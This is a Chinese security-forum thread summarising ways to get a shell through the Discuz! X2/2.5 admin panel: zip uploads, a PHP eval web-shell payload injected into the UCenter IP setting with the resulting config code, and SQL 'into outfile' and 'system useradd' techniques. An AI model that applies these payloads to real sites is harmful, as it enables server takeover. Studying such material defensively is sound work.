我们坚信只有今天付出了，才有机会看到明天的太阳！
现在！加入我们，给你一个气氛优秀的技术圈子
请完成以下验证码
查看: 5238|回复: 11
社区更新Forums
随机图赏Gallery
2017年中旬WEB渗透系列课程-24提权分类2017年中旬WEB渗透系列课程-23提权认识2017年中旬WEB渗透系列课程-22CMS相关2017年中旬WEB渗透系列课程-21webshell免杀相关问题2017年中旬WEB渗透系列课程-20关于指令执行2017年中旬WEB渗透系列课程-19文件包含与目录遍历2017年中旬WEB渗透系列课程-18上传绕过方法演示2017年中旬WEB渗透系列课程-17了解上传检测方式2017年中旬WEB渗透系列课程-16解析漏洞演示2017年中旬WEB渗透系列课程-15XSS绕过集合
dz x2/2.5后台getshell总结
查看: 5238|回复: 11
马上注册，加入HACK80！与我们一起交流。
正式会员需要
才可以下载或查看，没有帐号？
最近帮一个朋友检查一个discuz！x2的网站，因为是朋友，很快设到了管理员的密码后，进入后台后，好久没搞dz了，发现和之前的dz产品有些不一样了，于是下载了几个版本的dz版本，综合了下dz后台拿shell的方法（dz产品中php写的），对一些网上爆过的漏洞和方法进行一下深入的测试：
1、& && &&&记得很早以前，很多cms都可以使用一种方式就行shell的上传，在插件或者是模版中，选择自己上传模版并将shell放在zip中（zip包中有其他xml、png等文件），***插件后找到上传文件的地址，连接即可，但是现在的所有dz产品都改掉了。
2313334qdlc6mc6hscflpf.jpg (19.47 KB, 下载次数: 180)
08:20 上传
取消了上传插件、模版的功能，只能在商城中购买自己的模版（万恶的企鹅收购dz后修改的）。所以这一方法只有在一些比较古老的版本中才能使用了。
2、& && &&&一种方法是网上盛传的方式。在云平台的ucenter设置中修改ip地址，当让，其他的位置也可以：
231438rjdo5kf9l5id5jkk.jpg (56.07 KB, 下载次数: 175)
08:20 上传
修改为aaa');eval($_POST[aaa])?&;//的形式。看看在服务器中的代码：define('UC_CHARSET', 'gbk');
define('UC_KEY', 'M09eh2T7R6P5Edyat1f2Raw2u4j977YcZbHckdC8W5pap8Bcsbw289v0S7O3SeVc');
define('UC_API', 'http://127.0.0.1/dz2/uc_server');
define('UC_APPID', '1');
define('UC_IP', '');
define('UC_PPP', 20);
在uc_ip后面没有写参数的形式是’’我们修改后变成aaa');eval($_POST[aaa])?&;//后，那么difine函数中变为了：
define('UC_IP', 'aaa');eval($_POST[aaa])?&;//');
这样就比较明显了，自己构造了小马。构造了’);封闭了define函数其实分开看比较容易看出来
define('UC_IP', 'aaa');& &&&eval($_POST[aaa])?&;//');
但是2013年2月的某个补丁已经修补了这个漏洞。将’进行了转义，例如添加aaa');，则在服务器上的config_ucenter.php文件中，变成aaa\');&&在’前加上\后，进行转义。所以这种方法还是有一定的成功几率。
3、& && &&&其他cms上也经常使用的一直方式，就是直接使用sql语句进行shell 的添加，前段时间在sebug上面也看到了。但是这种方法的局限性比较大：
（1）& && &&&首先很多dz的管理员都将这一功能关闭了，但是默认是开启的，所以运气好的话，还是可以遇到。将 config/config_global.php 当中的 $_config[admincp][runquery] 修改为1时，可以执行。
（2）& && &&&网站的数据库的权限是root权限才可以使用。可以再ucenter设置中辨认出是否使用的是root权限。
拿shell有两种方法吧
ii7e66iife6edv.jpg (32.76 KB, 下载次数: 166)
08:20 上传
（1）& && &&&into outfile函数的使用，将木马代码写到文件中。（sebug上面有详细解释）
（2）& && &&&mysql5以上有一个函数system（5以下没有这个函数），使用system useradd hack的方法添加用户
就这么多吧，现在的dz很像wordpress和joomla的模式，都可以进行实时的更新，所以很多洞被爆出来几天就不能使用了，所以很多时候靠运气。
width:100%">
提示: 作者被禁止或删除 内容自动屏蔽
width:100%">
路过，支持一下啦
width:100%">
写的真的很不错
width:100%">
我现在正想搞不知道还有没有得搞，找了几个
width:100%">
写的真的很不错
width:100%">
楼主说得不错
width:100%">
在哪里跌倒，就在那里多爬一会儿！
width:100%">
白富美？高富帅？
width:100%">
楼上的真不讲道理！
width:100%">
Powered by Discuz! X3.2&&
充值199元即可成为正式会员！
现在成为正式会员即可享受：1、原创课程及工具资源下载 2、内部交流及讲师答疑服务 3、参与团队外包渗透测试项目